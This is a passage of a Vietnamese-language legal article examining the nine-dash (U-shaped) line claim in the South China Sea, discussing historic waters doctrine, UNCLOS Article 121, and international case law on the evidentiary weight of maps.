<div> Biển Đông là một vùng nước thuộc thẩm quyền của THDQ. THDQ có quyền và đặc quyền trong Biển Đông. Bất kỳ hoạt động nào trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. [25]</div> <div> </div> <div> Hướng dẫn Chính sách cho Biển Đông năm 1993 (chuẩn nhận bởi Bộ trưởng Hành Chánh) lưu ý rằng:</div> <div> </div> <div> Trên cơ sở lịch sử, địa lý, luật pháp quốc tế, và nhiều sự kiện, quần đảo Trường Sa, quần đảo Hoàng Sa, bãi cạn Macclesfield, và quần đảo Pratas luôn là phần lãnh thổ cố hữu của THDQ. Chủ quyền của nước THDQ đối với chúng không còn chút nghi ngờ nào. Khu vực Biển Đông trong ranh giới vùng nước lịch sử là khu vực biển thuộc thẩm quyền của nước THDQ, THDQ sở hữu tất cả các quyền và lợi ích trong đó. [26]</div> <div> </div> <div> Trong năm 1994, Bộ trưởng Bộ Hành Chánh, Trương Kim Ngọc (Chang King-yu), nói rằng “các vùng biển được bao bọc bởi đường chữ U ở Biển Đông là vùng nước lịch sử của chúng ta và THDQ được hưởng tất cả các quyền trong đó” (nhấn mạnh thêm). [27]</div> <div> </div> <div> Chính sách của Đài Bắc được suy luận xa hơn từ các phản đối đã thực hiện chống lại cách ứng xử của các nước ven biển trong khu vực. Đáp trả với việc Malaysia chiếm đóng hai thể địa lý tại quần đảo Trường Sa và việc Philippines quyết địnhsáp nhập bãi cát ngầm Scarborough trên bản đồ của họ, Đài Bắc tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước của THDQ. THDQ có tất cả các quyền và đặc quyền trong vùng Biển Đông. Bất kỳ hoạt động nào (kể cả việc thảo luận về hợp tác chung hoặc Quy tắc ứng xử, vv) trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. (nhấn mạnh thêm) [28]</div> <div> </div> <div> Một số chuyên gia đã cóp nhặt nhiều lập luận pháp lý cho tuyên bố mong manh này. [29] Ví dụ, Triệu Quốc Tài (Guocai Zhao) nhận xét:</div> <div> </div> <div> TQ sở hữu quyền lịch sử các hòn đảo, đá ngầm, bãi cát ngầm, các bãi cạn, và các vùng nước trong đường 9 chấm. Biển Đông được coi là vùng nước lịch sử của TQ, điều đó được thừa nhận phổ quát vào thời điểm đó. Cho đến nay điều này đã kéo dài nửa thế kỷ. [30]</div> <div> </div> <div> 2. Phân tích pháp lý</div> <div> </div> <div> Việc xem xét các bài viết học thuật về các tuyên bố lịch sử liên quan đến các khu vực biển làm phát sinh rất nhiều nhầm lẫn về thuật ngữ. Các khái niệm thích hợp như quyền lịch sử / sở hữu lịch sử, các vùng nước lịch sử, và vịnh lịch sử không dễ dàng phân biệt và làm sáng tỏ. [31] Để tránh việc tìm hiểu kéo dài không cần thiết và phần nào thừa thãi về sự khác biệt giữa các quyền lịch sử và sở hữu lịch sử, chỉ cần nói rằng “quyền lịch sử” là chủng (genus) mà theo đó người ta có thể đặt các loại (species) “vùng nước lịch sử” vào. Tương tự, “vịnh lịch sử” là một loại “vùng nước lịch sử”. [32] Trong bối cảnh của đường 9 chấm, cách ứng xử của Đài Bắc dường như bao hàm sự công nhận các vùng nước lịch sử liên quan đến một phần chủ yếu của Biển Đông.</div> <div> </div> <div> Không có định nghĩa được chấp nhận rộng rãi về các vùng nước lịch sử, nhưng theo cách hiểu rộng rãi, nó biểu thị các quyền dành cho một nước ven biển đối với một hoặc nhiều khu vực biển mà nước đó bình thường sẽ không được hưởng. Phạm vi các quyền đi cùng với vùng nước lịch sử có thể khác nhau đáng kể. Các điều kiện pháp lý cho việc thụ đắc các vùng nước lịch sử đã được xem xét trong một nghiên cứu năm 1962 do Văn phòng Ban thư ký Liên Hợp Quốc của Vụ Pháp chế (OLA) thực hiện theo yêu cầu của Uỷ ban pháp luật quốc tế. [33] Theo quan điểm của OLA:</div> <div> </div> <div> Có vẻ có một sự nhất trí chung nhất rằng khi xác định liệu một nước có quyền sở hữu lịch sử đối với một khu vực biển hay không phải xem xét tới ít nhất ba yếu tố. Những yếu tố này là: (1) việc thực thi thẩm quyền của nước yêu sách quyền lịch sử đối với khu vực đó (2) tính liên tục của việc thực thi thẩm quyền (3) thái độ của các nước khác. [34]</div> <div> </div> <div> Đài Bắc lẫn TQ đều không đáp ứng các tiêu chí này cho vấn đề đó. Điều kiện (1) và (2) đòi hỏi nước có yêu sách phải thực thi thẩm quyền thông qua các hành vi thể hiện chủ quyền ở mức đủ thường xuyên và có hiệu quả. Liên quan tới khu vực họ yêu sách, việc thể hiện thẩm quyền của họ cùng lắm chỉ có thể nói là ở mức không thường xuyên. Việc tự do đánh bắt và đi lại của các nước khác vẫn không bị cản trở. [35] Do đó, không yêu sách lịch sử nào có thể thực hiện ở đây. Các đòi hỏi lý thuyết cần để thoả mãn điều kiện (3) là không chắc chắn. Về cơ bản, việc thảo luận xoay quanh vấn đề liệu các nước khác có cần phải ngầm bằng lòng với việc thực hiện chủ quyền của TQ trên Biển Đông hay liệu việc họ không có bất kỳ phản ứng nào là đủ hay không. [36] Nhưng dù theo quan điểm nào, cả hai dường như đều đồng ý rằng sự phản đối của các nước khác có thể ngăn chặn việc thực thi chủ quyền hòa bình và liên tục, và điều này đích xác là những gì đã xảy ra đối với Biển Đông (xem phần IV-B).</div> <div> </div> <div> Một số người đã vặn lại rằng tuyên bố phải được xem xét dưới ánh sáng của các quy tắc luật quốc tế đã tồn tại khi bản đồ đường chữ U được vẽ ra, tức là năm 1946 (cái gọi là học thuyết của luật liên thời gian [intertemporal law]). [37] Điều này là khá khác thường, vì cách tiếp cận này chỉ làm yếu thêm một luận điểm vốn đã không thuyết phục. Vào thời điểm đó, bề rộng của lãnh hải hợp pháp chỉ là 3 hải lý, khiến cho các yêu sách lịch sử càng thêm quá đáng hơn. [38] Với thực tế rằng các vùng nước lịch sử thường liên quan đến vịnh hoặc một dải lãnh hải, [39] do đó không có gì ngạc nhiên khi nhận thấy một chuyên luận gần đây về vùng nước lịch sử không thấy cần thiết để đề cập tới yêu sách lịch sử của đường 9 chấm. [40] Hơn nữa, ngay cả khi vì mục đích lập luận người ta nhắm tới giả thuyết cho rằng TQ có thể thực hiện một yêu sách lịch sử lớn chưa từng có (cái không có –quod non) thì cũng nên nhớ rằng các yêu sách lịch sử không tạo ra một chế độ liên quan tới mọi nước (erga omnes), mà là phụ thuộc vào sự công nhận tường minh hay hàm ý trên tầm mức quốc gia như một tác giả mới đây đã nhấn mạnh. [41]</div> <div> </div> <div> Một lưu ý cuối cùng, việc sử dụng cách gọi “Biển Nam Trung Hoa" không có ý trao chủ quyền lịch sử cho TQ. [42] Theo luật pháp quốc tế, việc đặt tên đơn thuần một khu vực không thiết lập chủ quyền đối với khu vực đó. [43] Tên này đã bị các quốc gia có liên quan phản đối mạnh mẽ, trong đó có Việt Nam. [44] Bản đồ nước ngoài dùng tên Biển Nam Trung Hoa chỉ đơn giản là để phù hợp với cách gọi tên do Tổ chức Thủy văn Quốc tế về Ranh giới các Đại dương và biển công bố (1953), cách gọi tên đó “không có bất kỳ ý nghĩa chính trị nào”. [45] Vì thế việc lựa chọn từ ngữ này về phần các nước phương Tây không có hàm ý nhìn nhận chủ quyền của TQ. Ngoài ra, về mặt lịch sử người TQ cũng dùng nhiều tên gọi khác nhau cho vùng biển này như là “Biển Giao Chỉ” (đời Tống và Minh) và “Biển Nam” (đời Thanh (1905), THDQ (1913) và CHNDTH (1952 và 1975)). [46]</div> <div> </div> <div> 3. Những diễn biến mới</div> <div> </div> <div> Những diễn biến gần đây có thể làm cho sự thảo luận dễ dàng hơn. Thật vậy, rất có thể là Đài Bắc đang từ bỏ luận điểm lâu dài của họ. Các tuyên bố trong những năm gần đây gợi cho thấy một sự thay đổi trong quan điểm của họ, đưa chính sách của Đài Loan về vấn đề này cùng hướng với chính sách của TQ. Việc đề cập tới quyền / vùng nước lịch sử vắng đi trong khi trọng tâm dường như là chủ quyền lãnh thổ đối với các đảo và lãnh hải của chúng. [47] Ví dụ gần đây nhất là tuyên bố hồi tháng 5 năm 2009 phản đối các hồ sơ củaViệt Nam và Malaysia - Việt Nam gửi cho CLCS:</div> <div> </div> <div> Chính phủ THDQ nhắc lại rằng quần đảo Điếu Ngư Đài (Diaoyutai), quần đảo Nam Sa (Trường Sa), quần đảo Tây Sa (quần đảo Hoàng Sa), quần đảo Trung Sa (Macclesfield) và quần đảo Đông Sa (Pratas Islands) cũng như các vùng biển xung quanh là cácvùng lãnh thổ và các vùng biển cố hữu của THDQ dựa trên các quyền sở hữu chủ quyền không thể chối cãi biện minh bằng các cơ sở lịch sử, địa lý và luật quốc tế. Theo luật quốc tế, THDQ được hưởng tất cả các quyền và lợi ích đối với các quần đảo nói trên, cũng như các vùng biển xung quanh và đáy biển và lòng đất dưới đáy của chúng. [48]</div> <div> </div> <div> B. Các yêu sách đảo</div> <div> </div> <div> 1. Cách giải thích 1: Tất cả các thể địa lý trong đường chữ-U là lãnh thổ Đài Bắc/TQ</div> <div> </div> <div> Người đề xuất trước nhất cách giải thích yêu sách lãnh thổ này, nhà ngoại giao Indonesia Hasji Djalal, trong khi thừa nhận tính chất “khó hiểu" của đường chữ U, đã nêu các tìm hiểu của mình dựa trên việc phân tích cẩn thận các tuyên bố của TQ, đặc biệt là những tuyên bố hình thành trong cuộc họp của Tổ chức Hàng không dân dụng (ICAO) quốc tế năm 1979. [49]</div> <div> </div> <div> Smith ghi nhận rằng các thể địa lý giữa đại dương nằm bên trong “các vạch phân bổ này” là những thể địa lý mà TQ tuyên bố chủ quyền. Ông nhấn mạnh rằng các dấu vạch này không gợi ra bất kỳ yêu sách ranh giới biển nào và sẽ không có chút tác động nào đối với việc giải quyết tranh chấp biên giới biển. [50]</div> <div> </div> <div> Dzurek cũng tin tưởng rằng đường chữ U không phân ranh các biên giới thuộc thẩm quyền trên biển của TQ, với việc tin tưởng này dựa trên một lập luận về bản đồ học, cụ thể là, sự kiện rằng các dấu vạch chia cắt Malaysia và quần đảo Natuna đi chệch khỏi đường phân giới thềm lục địa Indonesia-Malaysia đã thoả thuận. [51]</div> <div> </div> <div> Như đã nói ở trên, việc thực hành nhà nước hiện nay của Đài Bắc dường như chứng minh một sự chuyển đổi về phía vị thế này.</div> <div> </div> <div> Câu hỏi tinh tế về các đảo trong Biển Đông thuộc nước nào, đòi hỏi phải phân tích nghiêm ngặt một ma trận sự kiện phức tạp và ứng dụng các khái niệm pháp lý đa dạng (chẳng hạn như phát hiện, ngày tới hạn [ngày mà các hành động của các bên liên quan thực hiện sau ngày đó sẽ không được toà xét đến-ND] , và tính hiệu quả), sẽ đưa chúng ta quá xa khỏi chủ đề hiện tại. [52] Với điều này trong trí, có lẽ thích hợp để nhấn mạnh ở đây rằng bản đồ TQ không thể tạo thành một quyền sở hữu lãnh thổ hợp lệ đối với các đảo cho từng bản đồ. Trong vụ Burkina Faso / Mali, Tòa Công lý Quốc tế (ICJ) đưa ra lời giải thích “dứt khoát”[53] về giá trị chứng cứ của bằng chứng bản đồ:</div> <div> </div> <div> Các bản đồ chỉ đơn thuần tạo thành thông tin, chúng thay đổi về tính chính xác theo từng trường hợp; và bằng sự tồn tại của một mình chúng, chúng không có thể tạo thành một quyền sở hữu lãnh thổ, nghĩa là, một tài liệu được luật quốc tế phú cho hiệu lực pháp lý nội tại cho mục đích xác lập các quyền lãnh thổ. Tất nhiên, trong một số trường hợp, bản đồ có thể có được hiệu lực pháp luật như vậy, nhưng trong những trường hợp như thế hiệu lực pháp luật không phát sinh duy nhất từ giá trị nội tại của chúng mà chính vì do bản đồ đó thuộc về loại biểu hiện vật lý về ý muốn của một nước hoặc các nước có liên quan. Ví dụ, trường hợp khi các bản đồ được kèm theo một văn bản chính thức mà chúng là một phần không thể thiếu. Ngoại trừ trường hợp xác định rõ ràng này, các bản đồ chỉ là bằng chứng bên ngoài có độ tin cậy khác nhau hay không đáng tin cậy, chúng có thể được sử dụng, cùng với các bằng chứng khác loại gián tiếp, để thiết lập hoặc tái thiết lại các sự kiện thật. [54]</div> <div> </div> <div> Ý kiến nhân tiện (obiter dictum) này đã được trích dẫn một cách đồng tình trong một loạt các trường hợp tranh cãi. [55] Một số người đã đọc đoạn văn này như một bác bỏ “dứt khoát” đối với khái niệm về quyền sở hữu theo bản đồ. [56] Trong mọi trường hợp, Tòa án dường như còn để mở một cửa sổ nhỏ[57] (“các bản đồ … kèm theo một văn bản chính thức mà chúng tạo thành một phần không thể thiếu'”) đề cập đến nhưng công cụ như các hiệp ước[58] và do đó không áp dụng được trong trường hợp này.</div> <div> </div> <div> 2. Cách giải thích 2: Đường chữ U là đường ranh giới của vùng đặc quyền kinh tế (EEZ) được tạo ra từ các đảo ở Biển Đông</div> <div> </div> <div> Một số học giả TQ dường như ủng hộ thuyết này, mặc dù lý luận của họ hơi khác nhau và thường liên kết với thuyết các quyền / vùng biển lịch sử. Triệu Lý Hải (Zhao Lihai) viết:</div> <div> </div> <div> Đường chín chấm chỉ rõ lãnh thổ và chủ quyền của TQ về bốn quần đảo trong Biển Đông và khẳng định ranh giới biển của các đảo của TQ ở Biển Đông mà các đảo này đã được bao gồm trong phạm vi TQ ít nhất từ thế kỷ 15. Tất cả các hải đảo và các vùng nước lân cận trong đường biên giới phải thuộc thẩm quyền và kiểm soát của TQ.[59]</div> <div> </div> <div> Kiều Vĩnh Khoa (Jiao Yongke) nêu:</div> <div> </div> <div> Các khu vực nước bên trong đường biên giới ở Biển Đông của TQ tạo thành các vùng nước mà TQ có quyền sở hữu lịch sử đối với chúng, chúngtạo thành vùng đặc quyền kinh tế đặc biệt, hay vùng đặc quyền kinh tế lịch sử của TQ, do đó phải có địa vị tương tự như vùng đặc quyền kinh tế theo các quy định của UNCLOS [Công ước LHQ về Luật Biển]. [60]</div> <div> </div> <div> Cuối cùng, Trâu Khoa Uyển (Zou Keyuan) tin rằng TQ đã khẳng định một tuyên bố lịch sử, nhưng tuyên bố này là “tương đương với tình trạng pháp lý của vùng đặc quyền kinh tế hay thềm lục địa”. [61]</div> <div> </div> <div> Cách giải thích thứ hai này về các vạch liên tục là phụ thuộc hoàn toàn vào cách đầu tiên. Nó suy từ nguyên tắc “đất thống trị biển” mà cách tiếp cận này nhất thiết phải dựa trên tiền đề là TQ có chủ quyền đối với các thể địa lý ở Biển Đông. [62] Những người ủng hộ thuyết này xem đường chữ U như một ranh giới trên biển nối các ranh giới của vùng đặc quyền kinh tế hoặc thềm lục địa phát sinh từ các đảo. Một loạt các câu hỏi nẩy lên. Vấn đề gai góc đầu tiên liên quan đến việc phân định vùng biển đó. Suy cho cùng, một nước ven biển không thể chỉ đơn giản áp đặt việc phân giới lên các nước khác một cách đơn phương. Sự hợp lệ của hành động như vậy sẽ phụ thuộc vào sự tuân thủ các chuẩn mực luật pháp quốc tế. [63]</div> <div> </div> <div> Hơn nữa, còn có vấn đề là các thể địa lý biển có thể tạo ra các khu vực biển (bất chấp ai là chủ sở hữu hợp pháp) hay không? Tất cả phụ thuộc vào việc thể địa lý đó có hội đủ điều kiện là đảo theo nghĩa pháp lý hay không. Công ước 1982[64] có chứa một điều khoản cho mục đích này, Điều 121, nêu như sau:</div> <div> </div> <div> 1. Một hòn đảo là một khu đất hình thành tự nhiên, bao quanh bởi nước, nằm bên trên mặt nước khi triều cao.</div> <div> </div> <div> 2. Ngoại trừ như quy định tại mục 3, lãnh hải, vùng tiếp giáp, vùng đặc quyền kinh tế và thềm lục địa của một đảo được xác định theo quy định của Công ước này áp dụng cho lãnh thổ đất liền khác.</div> <div> </div> <div> 3. Đá không thể duy trì sự cư trú của con người hay có đời sống kinh tế của riêng mình sẽ không có vùng đặc quyền kinh tế hay thềm lục địa. [65]</div> <div> </div> <div> Do đó, các bề mặt có đất trong vùng Biển Đông sẽ tạo ra thêm các vùng đặc quyền kinh tế (và thềm lục địa) nếu chúng đáp ứng các yêu cầu nghiêm ngặt nêu trên. [66] Do đó, tính chất đảo của một loạt các tính năng hàng hải tại Biển Đông đã bị rơi vào nghi vấn. Oude Elferink thận trọng nêu rằng “ít ra có một số đảo trong Biển Đông có vùng đặc quyền kinh tế và thềm lục địa. Các thể địa lý có tính đảo khác gần như chắc chắn có thể được coi là rơi vào vòng khống chế của Điều 121 (3) [đá].” [67] Nếu biết ra rằng những bề mặt đất đó không phải là đảo, (ít nhất là một phần) thì cách giải thích vùng đặc quyền kinh tế hay thềm lục địa của đường chữ U là không có giá trị pháp lý.</div> <div> </div> <div> Về mặt này, rất đáng để đề cập ngắn gọn đến các bước do TQ mới thực hiện ở cấp độ quốc tế ủng hộ di sản chung của loài người bằng cách cố gắng bảo vệ khu vực này chống lại sự xâm nhập không chính đáng của một vài nước. [68] Về thực chất, các can thiệp này nhằm mục đích chống lại đệ trình của Nhật Bản cho CLCS vể đảo Okinotorishima ở Thái Bình Dương. [69] Tuy nhiên, hành động này ngay lập tức bị phản ứng ngược đối với Biển Đông, Indonesia đã chất vấn đường 9 chấm của TQ ngay chính trên cơ sở của các cơ quan đại diện của đất nước này nêu ra trước cuộc họp của các nước thành viên năm 2009 cũng như trước Cơ quan quốc tế đáy biển, đó là, các mỏm đá không thể duy trì sự cư trú của con người, đời sống kinh tế riêng không tạo ra một vùng đặc quyền kinh tế hay thềm lục địa.[70]</div> <div> </div> <div> Dù các diễn biến có thể thú vị như thế nào, điều bắt buộc này, mà đúng hơn là việc điều tra nặng thực tế và kỹ thuật về tình trạng pháp lý chính xác của các thể địa lý khác nhau ở Biển Đông theo Điều 121 (3) của Công ước năm 1982 vượt quá xa phạm vi nghiên cứu của chúng tôi.</div> <div> </div> <div> III. CÁC YẾU TỐ LÀM SUY YẾU SỨC MẠNH CHỨNG MINH CỦA BẢN ĐỒ</div> <div> </div> <div> Theo một quy tắc đã được ghi nhận, [71] các thẩm phán quốc tế được hưởng sự tự do đặc biệt rộng rãi trong việc xác định trọng lượng của tài liệu chứng cứ. [72] Cảnh giác về quyền tự do theo nguyên tắc này, chúng tôi đã xem xét các tiền lệ[73] liên quan đến bản đồ để suy ra các yếu tố[74] thường được thẩm phán hoặc trọng tài sử dụng để đánh giá hiệu lực chứng minh của bằng chứng bản đồ. Cần nhấn mạnh rằng trong khi làm như vậy, chúng tôi dựa vào các tiền lệ liên quan cho đất liền lẫn trên biển không phân biệt. Mặc dù đúng là các nguyên tắc quy định việc thụ đắc những vùng biển và phân giới biển khác biệt đáng kể so với những quy tắc làm cơ sở cho việc thụ đắc và phân giới lãnh thổ, [75] câu hỏi cốt yếu này (chế độ pháp luật áp dụng được) là tách biệt với câu hỏi về bằng chứng (các bản đồ). Hơn nữa, học thuyết dường như không có sự phân biệt có ý nghĩa giữa bản đồ đất liền và bản đồ biển trong việc phân loại các quy tắc bằng chứng, và ICJ đã trích dẫn các quy tắc pháp lý bổ sung trong các vụ trên đất liền khi đánh giá các bản đồ do các bên tham gia tranh chấp nộp vào có chứa một yếu tố liên quan đến biển. [76]</div> <div> </div> <div> Các yếu tố sau đây chứng tỏ sự thiếu sót về chứng cứ vốn có của đường 9-chấm của TQ.</div> <div> </div> <div> A. Cách tiếp cận thận trọng với chứng cứ bản đồ</div> <div> </div> <div> Như một quan sát bước đầu, cần chỉ ra rằng xu hướng chung là các tòa và các toà án quốc tế không đưa ra các phán quyết chỉ đơn thuần dựa trên các kết luận về bản đồ. [77] Mặc dù những bản đồ chính xác phản ánh ý định của các bên có thể thực sự tạo thành “một cơ sở vững chắc và liên tục cho việc thảo luận” sự vắng mặt của chúng “là một sự bất tiện đáng tiếc”', [78] chúng thường sẽ đóng vai trò phụ trong việc làm vững thêm bằng chứng khác cùng chỉ về một hướng. [79] Trở lại với quyết định cho vụ Burkina Faso / Cộng hòa Mali:</div> <div> </div> <div> Các bản đồ vẫn không thể có giá trị pháp lý hơn so là giá trị của bằng chứng củng cố trong việc chuẩn nhận một kết luận mà một tòa án đi đến bằng các phương tiện khác không dính dáng tới các bản đồ, trừ khi các bản đồ thuộc loại biểu hiện vật lý ý muốn của Nhà nước, tự chúng không thể được xem như là bằng chứng về một đường biên giới, vì trong trường hợp đó chúng sẽ hình thành một giả định không thể bác bỏ, thật sự đồng nghĩa với quyền sở hữu pháp lý. Giá trị duy nhất mà chúng có là bằng chứng thuộc loại phụ hoặc khẳng định thêm, và điều này cũng có nghĩa rằng chúng không thể được gán cho đặc tính của một giả định không thể bác bỏ (juris tantum) như là để thực hiện một sự đảo ngược trách nhiệm chứng minh. [80]</div> <div> </div> <div> Lập trường thận trọng này đã được phát hiện và ghi nhận theo ý kiến của học giả có thẩm quyền, [81] và trong một số trường hợp đã được sự chấp thuận đáng kể. [82]</div> <div> </div> <div> B. Các bản đồ không tương thích nhau</div> <div> </div> <div> Khi trình bày các khẳng định mâu thuẫn lẫn nhau, sắp xếp các sự kiện cho chỉnh trang đòi hỏi cố gắng lớn. [83] Khá tương tự như vậy, khi các tài liệu bản đồ mâu thuẫn với nhau, chúng sẽ mất đi sự tin cậy. [84] Như ICJ đã nêu trong trường hợp Kasikili / Sedudu:</div> <div> </div> <div> “dưới ánh sáng của sự không chắc chắn và không thống nhất của tài liệu bản đồ được đệ trình, Tòa tự thấy mình không thể rút ra kết luận từ những bằng chứng bản đồ đưa ra trong trường hợp này.” [85]</div> <div> </div> <div> Các bản đồ với đường 9-chấm vẽ ra một hình ảnh Biển Đông khác biệt với bằng chứng bản đồ và các tài liệu khác của các nước ven biển trong khu vực. Sẽ khó khăn để đạt được một sự hiểu biết chính xác ranh giới biển và chính trị chỉ dựa trên việc đặt các bản đồ kế bên nhau. Ngoài ra, các điều mà đường chữ U thể hiện cũng không nhất quán. Như đã đề cập ở trên, đường chữ U trong bản đồ ở TQ trước năm 1953 bình thường gồm có 11 vạch, [86] trong khi các phiên bản sau này của đường nhiều chấm chỉ gồm 9 đoạn. Một bản đồ điện tử trực tuyến gần đây của Cục Khảo sát và Bản đồ Nhà nước TQ ngày 21 tháng 10 năm 2010 lại thêm một đoạn nữa vào phía Bắc giữa Đài Loan và nhóm Ryukyu, trong đó có đảo Yonaguni là hòn đảo ở cực tây, tất cả đều thuộc về Nhật Bản. [87] Không có lý do nào được đưa ra cho việc loại bỏ bí ẩn hai vạch trong quá khứ hay việc thêm vào vạch thứ 10 mới gần đây. [88]</div> <div> </div> <div> C. Ký hiệu bản đồ rời rạc / nhập nhằng</div> <div> </div> <div> Bản đồ không rõ ràng đã xuất hiện trong các tố tụng qua trọng tài trong quá khứ. Trong vụ Trọng tài Eritrea / Yemen, Eritrea đã nộp các bản đồ mô tả một đường chấm chấm hỗ trợ yêu sách của mình. Tòa án đưa ra một tuyên bố ngắn về phương pháp chứng cứ của bên liên quan:</div> <div> </div> <div> Trong một số trường hợp Tòa án có thể không đồng ý với các đặc tính của các bản đồ mà bên đưa ra mong muốn. Hơn nữa, nếu không có chỉ dẫn cụ thể từ chính bản đồ, Tòa án không muốn gán ý nghĩa cho các đường chấm thay cho màu sắc hoặc thay cho việc ghi địa danh trên bản đồ. Các kết luận trên cơ sở này do Eritrea thúc hối liên quan tới một số bản đồ của họ không được chấp nhận. [89]</div> <div> </div> <div> Đương nhiên,có sự tương tự của trường hợp này với đường chữ U, sự thiếu vắng một chú giải (legend), và lời lẽ bí ẩn chứa trong công hàm của TQ gửi Tổng thư ký LHQ đã soạn sẵn. Sự lúng túng càng lớn hơn bởi vì cách mô tả của đường 9-chấm sai lệch với các tiêu chuẩn vẽ bản đồ quốc tế được Tổ chức Thủy văn Quốc tế đề ra đích xác cho mục đích về tính rõ ràng. [90] Cần nhớ rằng TQ là một thành viên của tổ chức quốc tế này. [91]</div> <div> </div> <div> D. Ý định không rõ ràng</div> <div> </div> <div> Như Thẩm phán Oda đã chỉ ra một cách đúng đắn trong ý kiến riêng của ông trong vụ Kasikili / Sedudu, “một tuyên bố lãnh thổ chỉ có thể được thực hiện với dấu hiệu rõ ràng về ý định của chính phủ, dấu hiệu đó có thể được phản ánh trong các bản đồ. Một bản đồ tự nó, nếu không có bằng chứng hỗ trợ khác thì không thể biện minh cho một tuyên bố chính trị” (nhấn mạnh thêm). [92] Trong trường hợp này (in casu) tiêu chí về ý định rõ rệt về phía chính phủ TQ không được đáp ứng một cách thoả đáng. Sự đa dạng về cách giải thích đường chữ U do các học giả luật học đưa ra cũng như công hàm mơ hồ của TQ đề ngày7 tháng 5 năm 2009 là chứng cứ cho kết luận này. Bên cạnh các cấu trúc câu khó hiểu, các từ ngữ được sử dụng trong công hàm, cụ thể là “vùng biển có liên quan” và “vùng biển tiếp giáp” là đặc biệt khó hiểu vì chúng không xuất hiện bất cứ chỗ nào trong UNCLOS. Sự mơ hồ có vẻ như cố tình làm trầm trọng thêm, vì TQ vẫn chưa thông qua luật tạo cho đường chữ U bất kỳ hiệu lực trong trật tự luật pháp trong nước. [93] Ngay cả khi người ta có thể bới ra các ý định đằng sau bản đồ này, ý nghĩa pháp lý của chúng không nên được đánh giá cao. Trở lại bài viết nói trên của Thẩm phán Oda:</div> <div> </div> <div> Một bản đồ được sản xuất bởi một cơ quan chính phủ có liên quan đôi khi có thể chỉ ra vị thế của chính phủ liên hệ đến lãnh thổ hay chủ quyền của một khu vực cụ thể hay đảo. Tuy nhiên, một mình sự kiện đó không có tính quyết định về tư cách pháp lý của khu vực hay đảo đang có vấn đề. Đường ranh giới trên những bản đồ như vậy có thể được hiểu như là thể hiện cho yêu sách tối đa của nước có liên quan, nhưng không nhất thiết biện minh cho yêu sách đó. [94]</div> <div> </div> <div> E. Thiếu tính trung lập</div> <div> </div> <div> Khi bản đồ được vẽ lên bởi một chuyên gia khách quan, giá trị chứng minh của nó có xu hướng tăng lên. [95] Trái lại, các tài liệu bản đồ được sản xuất theo chỉ thị của một trong các bên tranh chấp sẽ được xét với sự nghi ngờ nhiều hơn, và do đó sự phụ thuộc vào tài liệu như vậy chỉ là ngoại lệ không phải là quy tắc. [96] Các trọng tài trong vụ Trọng tài kênh Beagle nhận xét như sau:</div> <div> </div> <div> Trong khi các bản đồ đến từ các nguồn khác hơn những bản đồ của các bên không thuộc vụ đó được coi là nhất thiết phải chính xác hơn hoặc khách quan hơn, trước nhất (prima facie) chúng có tình trạng độc lập, điều này có thể tạo cho chúng giá trị lớn trừ khi chúng chỉ là các bản sao chép của - hoặc dựa trên bản gốc xuất phát từ - các bản đồ do một trong các bên vẽ ra, hoặc giả được xuất bản trong một nước có liên quan, hoặc thay mặt cho, hoặc theo yêu cầu của một Bên, hoặc rõ ràng có động cơ chính trị. Nhưng chỗ nào mà tư cách độc lập của chúng không để lộ cho việc nghi ngờ về một hoặc các cơ sở nêu trên, chúng có ý nghĩa tương đối cho việc giải quyết tranh chấp lãnh thổ liên hệ trong đó chúng cho thấy sự tồn tại của một sự hiểu biết chung theo một nghĩa nào đó, như về cách giải quyết đó là gì, hoặc, chúng mâu thuẫn ở đâu, sự thiếu vắng của bất kỳ sự hiểu biết chung như vậy. [97]</div> <div> </div> <div> Việc thiếu tính trung lập là rõ rành rành đối với đường 9 chấm. Như đã thảo luận trong phần II-A, lịch sử của đường chữ U có thể được truy ngược về một ủy ban nội bộ do chính phủ Trung Hoa Dân Quốc thành lập để cập nhật các bản đồ TQ và tái khẳng định vị thế của họ. Một cơ quan chính phủ được thành lập và phân bổ nhân viên đơn phương như thế khó có thể được coi là khách quan đối với các nước có liên quan khác trong khu vực Biển Đông. Không nên quên rằng các nhà vẽ bản đồ có lương tâm vẫn có thể bị sử dụng cho các mục đích lừa đảo:</div> <div> </div> <div> Một nhà làm bản đồ … có thể được sử dụng để biểu lộ khẳng định của một nước cụ thể như nước của chính ông ta về kích cỡ đầy đủ miền lãnh thổ của nước đó là gì, bất kể tính đúng đắn của khẳng định này và không có việc doạ dẫm rằng việc vẽ đó mô tả phạm vi của một yêu sách chứ không phải là vị trí của một ranh giới được chấp nhận. Qua việc sao chép tiếp theo và việc vẽ lại của các nhà làm bản đồ thiếu phối kiểm không những các sai sót tiếp tục tồn tại mà sự kiện về việc lặp lại có xu hướng chuyển cho chúng sự thừa nhận pháp lý qua việc in ra một số lượng lớn bản đồ thống nhất với lời khai của họ. [98]</div> <div> </div> <div> F. Không chính xác về kỹ thuật</div> <div> </div> <div> Trong tiểu luận về giá trị chứng cứ của bản đồ, De Visscher đưa ra các tiêu chuẩn sau đây: “những bảo đảm về tính chính xác nội tại của bản đồ … sự chính xác liên quan tới các điểm đang tranh chấp”. [99] Theo Brownlie, "giá trị chứng minh mà một bản đồ có tương ứng với chất lượng kỹ thuật của nó”.[100] Luật về án lệ cũng chỉ ra đòi hỏi độ chính xác kỹ thuật trong bản đồ. [101] Trong vụ đảo Palmas, trọng tài duy nhất Max Huber đã viết rằng: “điều kiện đầu tiên đòi hỏi của các bản đồ phục vụ với tư cách là bằng chứng đối với những điểm pháp lý là độ chính xác địa lý của chúng.” [102]</div> <div> </div> <div> ICJ phát biểu rằng:</div> <div> </div> <div> Trọng lượng thực tế được phân cho các bản đồ đem làm bằng chứng phụ thuộc vào một loạt các cân nhắc. Một số trong các cân nhắc này liên quan đến độ tin cậy kỹ thuật của các bản đồ. Điều này đã nâng lên đáng kể, đặc biệt là do những tiến bộ đạt được qua không ảnh và ảnh vệ tinh từ những năm 1950. Nhưng kết quả chỉ mang tới tính chất trung thực hơn cho bản đồ và sự ăn khớp ngày càng chính xác giữa bản đồ và không ảnh. Thông tin xuất phát từ sự can thiệp của con người, chẳng hạn như tên của các địa điểm và các thể địa lý (địa danh học) và việc miêu tả biên giới và ranh giới chính trị khác, do đó không khả tín hơn. Tất nhiên, độ tin cậy của các thông tin địa danh học cũng tăng lên nhở kiểm chứng thực địa, mặc dù ở mức độ thấp hơn, nhưng theo ý kiến của các nhà vẽ bản đồ, sai sót vẫn còn phổ biến trong biểu thị các đường biên giới, nhất là 